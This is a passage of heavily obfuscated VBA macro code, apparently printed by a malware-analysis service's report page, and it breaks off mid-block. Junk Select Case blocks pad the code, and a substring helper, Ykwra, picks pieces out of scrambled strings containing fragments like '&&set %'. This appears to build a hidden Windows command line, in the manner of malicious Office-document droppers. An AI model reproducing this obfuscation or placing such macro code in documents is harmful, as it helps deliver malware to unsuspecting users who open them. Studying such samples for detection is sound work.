            VEPmLH = wwSjr
            CazZs = Round(27037)
            wwIZiE = Log(zQIvAN)
End Select
Select Case IQmNm
         Case 59800
            Wvcpm = Hex(crawF - ChrW(BFUVr))
            lckMnV = CByte(13743)
            IHwtI = TiTQpm
         Case 52518
            vrOwbr = vnvvO
            CkJHG = Round(66546)
            DUsjpR = Log(SmEfF)
End Select
AizhWiXNpqT = Ykwra("2FuE=p&&set %XJsPjUhjqJVYwU", uFFSm - uFFSm + 5 + uFFSm - uFFSm, uFFSm - uFFSm + 19 + uFFSm - uFFSm)
Select Case Bjszp
         Case 89543
            jMUCz = Hex(lRzJIi - ChrW(qjbwh))
            JpzJj = CByte(30581)
            rAWrLS = SBrAq
         Case 67382
            fkVcvz = jUFuQ
            lajDkm = Round(14706)
            lvFzq = Log(kopbI)
End Select
Select Case BjYVdR
         Case 64102
            CYDpWN = Hex(uWFqzX - ChrW(bUIltV))
            MvFIW = CByte(64672)
            zzWWd = QvUYuE
         Case 10622
            iiUJG = FDNsX
            fpcwj = Round(99055)
            TuYjUT = Log(Tfzjro)
End Select
tVSkWlWnK = Ykwra("8YIwNkcTk%=s&&set o%", MdFijo - MdFijo + 5 + MdFijo - MdFijo, MdFijo - MdFijo + 14 + MdFijo - MdFijo)
Select Case BiMlw
         Case 32365
            Ewjiw = Hex(DbSWr - ChrW(ZmSJzA))
            RwaEiB = CByte(67462)
            iLPMhi = OwpEW
         Case 2338
            sMdswP = iUNlJz
            isFdP = Round(44957)
            QCJJL = Log(XTTud)
End Select
Select Case zHrUBR
         Case 99238
            JwnMLO = Hex(iwukR - ChrW(jLiSY))
            QLnkZ = CByte(89569)
            GMWpj = jkuSs
         Case 14663
            CwdapR = aRvICd
            jYWONS = Round(86720)
            rLHNM = Log(cltqKu)
End Select
KPubconBkQ = Ykwra("bSUz&&set %Zjs9", jENamE - jENamE + 5 + jENamE - jENamE, jENamE - jENamE + 9 + jENamE - jENamE)
Select Case RiNuH
         Case 4693
            oQOmDZ = Hex(LYDip - ChrW(tHRSbF))
            zfCRs = CByte(65923)
            SpITGP = UbwVK
         Case 74502
            RMpMUK = KQuTC
            vIOzuV = Round(82146)
            VPkYZj = Log(jVzRS)
End Select
Select Case twkKa
         Case 49929
            MhfTu = Hex(uBPwTj - ChrW(AqpqHO))
            mFIlZ = CByte(74393)
            iAiSCr = HdJCQf
         Case 17921
            CafMjT = GtDMH
            HYutHf = Round(23297)
            kiRrK = Log(MforjJ)
End Select
BDvNdX = Ykwra("wawVsdYzP@o", fTMEXX - fTMEXX + 2 + fTMEXX - fTMEXX, fTMEXX - fTMEXX + 5 + fTMEXX - fTMEXX)
Select Case ChFNDc
         Case 60591
            lPqkpA = Hex(PJIAz - ChrW(RwNVZb))
            bFLczp = CByte(8797)
            ojECjH = OaGUsH
         Case 30991
            ijMHll = riBpSj
            NmAvO = Round(52046)
            EzQiSi = Log(PEjjLa)
End Select
Select Case fPlibL
         Case 21612
            cHnad = Hex(nLnoj - ChrW(iSHLJz))
            TbjXM = CByte(60970)
            EWwdI = HqrbWn
         Case 42442
            jUjpwD = NHZZb
            rjwjbv = Round(35783)
            QPKjz = Log(rajpV)
End Select
fjYcsBw = Ykwra("99Pq %ovcDmNYwUbSjzP%U", tlhSFw - tlhSFw + 5 + tlhSFw - tlhSFw, tlhSFw - tlhSFw + 14 + tlhSFw - tlhSFw)
Select Case okHziN
         Case 53521
            rPXDh = Hex(PHusvs - ChrW(WSFVJ))
            hPmbkE = CByte(94605)
            HbwBN = OQBsG
         Case 98344
            Gkfnt = aSRCdY
            toEon = Round(98495)
            iHfzrh = Log(oFQNP)
End Select
Select Case ijwDj
         Case 54826
            XSzjG = Hex(QpjYJ - ChrW(zcTdV))
            BMszfr = CByte(831)
            tcwbV = BTNIr
         Case 7559
            tGRhpC = jZOCdc
            QLZnFj = Round(66039)
            otHDwQ = Log(OLmRdH)
End Select
mwBBwwSGZ = Ykwra("@XVdFYzDmPKW X", nbiGn - nbiGn + 3 + nbiGn - nbiGn, nbiGn - nbiGn + 8 + nbiGn - nbiGn)
Select Case bQpoL
         Case 78124
            Ouwtj = Hex(HoVmXP - ChrW(RYZmE))
            CKCPL = CByte(98891)
            KkIzQ = tGawI
         Case 19332
            fZapA = NooCqD
            nlJLin = Round(87995)
            bWfYV = Log(VNqZQ)
End Select
Select Case npWiJW
         Case 44655
            PUFhkD = Hex(uORijV - ChrW(GhNtK))
            uDurL = CByte(14151)
            uEOzA = NDOhSn
         Case 27272
            FtROf = bjoRP
            VjLaO = Round(41424)
            vkqzRi = Log(HIrAu)
End Select
TsqrYULQS = Ykwra("EPGikQYuDVwJAo", msdkMP - msdkMP + 4 + msdkMP - msdkMP, msdkMP - msdkMP + 5 + msdkMP - msdkMP)
Select Case vcpKc
         Case 54445
            ufKPzk = Hex(MdroSz - ChrW(SoPtA))
            iESsnW = CByte(16001)
            suBzm = hPZaCh
         Case 87803
            dRDizw = oaQcvC
            NScacY = Round(37560)
            pqfHcD = Log(orTmo)
End Select
Select Case ZTvKvr
         Case 88323
            mBUSZX = Hex(htKGvJ - ChrW(dOpaj))
            BCmpO = CByte(15010)
            KmBQqf = EcHGOM
         Case 40409
            dfGZaO = hUUKji
            OfERka = Round(91339)
            uPPRGB = Log(iLTsD)
End Select
XldOY = Ykwra("6.,ziLGAnJEOS&&set %AmIZ84R", BoFYLn - BoFYLn + 6 + BoFYLn - BoFYLn, BoFYLn - BoFYLn + 19 + BoFYLn - BoFYLn)
Select Case GiphY
         Case 40208
            hvjwJ = Hex(NcCzc - ChrW(BllrJJ))
            oalJq = CByte(78538)
            KIwPkL = rKwjQ
         Case 14231
            nijNrz = oUqfX
            jdvlp = Round(19226)
            KEfnNR = Log(KanHsC)
End Select
Select Case ttCHU
         Case 672
            wNjitQ = Hex(RjKCGK - ChrW(VRmCK))
            AHAYWw = CByte(44467)
            rFwBzu = jwudm
         Case 6889
            HHWjo = YcPFJC
            qNLHzt = Round(91823)
            aLBIPS = Log(VsYYus)
End Select
VtSaBTsN = Ykwra("rGD1wQUim%!!%ZjikQYuNVYM", AwFwz - AwFwz + 6 + AwFwz - AwFwz, AwFwz - AwFwz + 16 + AwFwz - AwFwz)
Select Case sCnHp
         Case 31256
            qtruz = Hex(Tkmjt - ChrW(hjwVa))
            OkHXj = CByte(72681)
            DqUJT = DfLkSJ
         Case 27308
            GUkFs = mLTwhN
            bjHTMG = Round(74993)
            WwbTqq = Log(VwdLMI)
End Select
Select Case KZUahY
         Case 83175
            MQltWX = Hex(ljHBA - ChrW(rHzDt))
            QpEbXo = CByte(97847)
            FRsdd = KuozQ
         Case 24384
            swXCPj = SRUWnc
            FHoNEX = Round(38974)
            TodXr = Log(zTCnh)
End Select
BVXnnVUNQUr = Ykwra("h07PDImLUF", PWRoH - PWRoH + 5 + PWRoH - PWRoH, PWRoH - PWRoH + 4 + PWRoH - PWRoH)
Select Case XsjZIF
         Case 47129
            nzVpBh = Hex(nzjLp - ChrW(acjYsr))
            VwSjG = CByte(54620)
            NaPFz = jiWSnV
         Case 20239
            JTSbr = zPzAQ
            IPoil = Round(67944)
            irNki = Log(qtvGQ)
End Select
Select Case oCFzuw
         Case 67908
            fwnLS = Hex(ItWGnV - ChrW(WFIXCj))
            wtfEjN = CByte(7958)
            VEtAQ = ZucVuS
         Case 52938
            kMYrES = wasQmY
            TicEhz = Round(45443)
            MmFTw = Log(fBHOV)
End Select
ddGqX = Ykwra("8set %mjXdwjBL%XjM@F", WhLLfA - WhLLfA + 2 + WhLLfA - WhLLfA, WhLLfA - WhLLfA + 14 + WhLLfA - WhLLfA)
Select Case JTjrJ
         Case 73077
            YdBkd = Hex(nbttp - ChrW(dMSzll))
            VmQZkB = CByte(33631)
            cAClu = kwnLCc
         Case 32745
            jlIRd = AqTvFY
            bIEQi = Round(23043)
            LbrHup = Log(NiojJT)
End Select
Select Case dNQQkv
         Case 5175
            qdsWC = Hex(JIBso - ChrW(HlAIzw))
            Ozqha = CByte(85995)
            GOGIRz = GiGVZu
         Case 68524
            kWUVf = sNHRmp
            LAvRdE = Round(36364)
            CsboMA = Log(tnZDW)
End Select
CsIBJBzDY = Ykwra("XsujsUzpwSRP@EW", CiRSY - CiRSY + 7 + CiRSY - CiRSY, CiRSY - CiRSY + 6 + CiRSY - CiRSY)
Select Case OUNENG
         Case 28456
            wriJt = Hex(iKDvpQ - ChrW(idshT))
            pTUriT = CByte(87057)
            jiNQwE = DAwiSF
         Case 37740
            kiOFVj = UXuPYh
…

Open this report in the interactive analyzer, or submit your own file for analysis.